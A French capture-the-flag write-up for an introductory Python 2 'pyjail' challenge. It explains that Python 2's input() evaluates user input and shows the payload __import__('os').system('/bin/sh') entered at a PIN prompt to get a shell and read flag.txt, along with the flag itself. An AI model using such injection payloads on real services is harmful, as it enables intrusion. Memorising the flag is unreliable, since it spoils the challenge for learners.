Strange input, right?
Catégorie: Système Difficulté: - Flag: CTFREI{b3g1nn1ng_0f_4_pyj41l_j0urn3y}
Challenge
Description
Challenge d'introduction aux Pyjails
Ne mettez pas seulement des mots randoms, n'hésitez pas à faire des recherches !
Le flag est dans flag.txt
nc intro.ctfrei.fr 4450
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Ce challenge est une introduction aux PyJail, autrement dit le serveur fait tourner un script Python. En Python2, il existe une vulnérabilité sur la fonction input()
puisqu'elle cast automatiquement notre entrée dans un type qui lui correspond.
Exemple avec quelques entrées via la fonction input :
45 -> <type 'int'>
"goodbye" -> <type 'str'>
[1,2,3] -> <type 'list'>
On peut donc utiliser les fonctions natives de Python pour forcer le serveur à exécuter du code. Si l'on passe par __import__
, on peut même lancer des commandes
$ ncat intro.ctfrei.fr 4450
Bienvenue dans cette pyjail en python2!
Entrez le bon PIN pour récupérer le flag!
PIN: __import__('os').system('/bin/sh')
ls -al
total 24
drwxr-xr-x 1 nobody nogroup 4096 Sep 25 13:39 .
drwxr-xr-x 1 nobody nogroup 4096 Sep 19 17:39 ..
-r--r--r-- 1 nobody nogroup 38 Sep 12 13:40 flag.txt
-rwxr-xr-x 1 nobody nogroup 802 Sep 25 12:46 run
cat flag.txt
CTFREI{b3g1nn1ng_0f_4_pyj41l_j0urn3y}
Dernière mise à jour
Cet article vous a-t-il été utile ?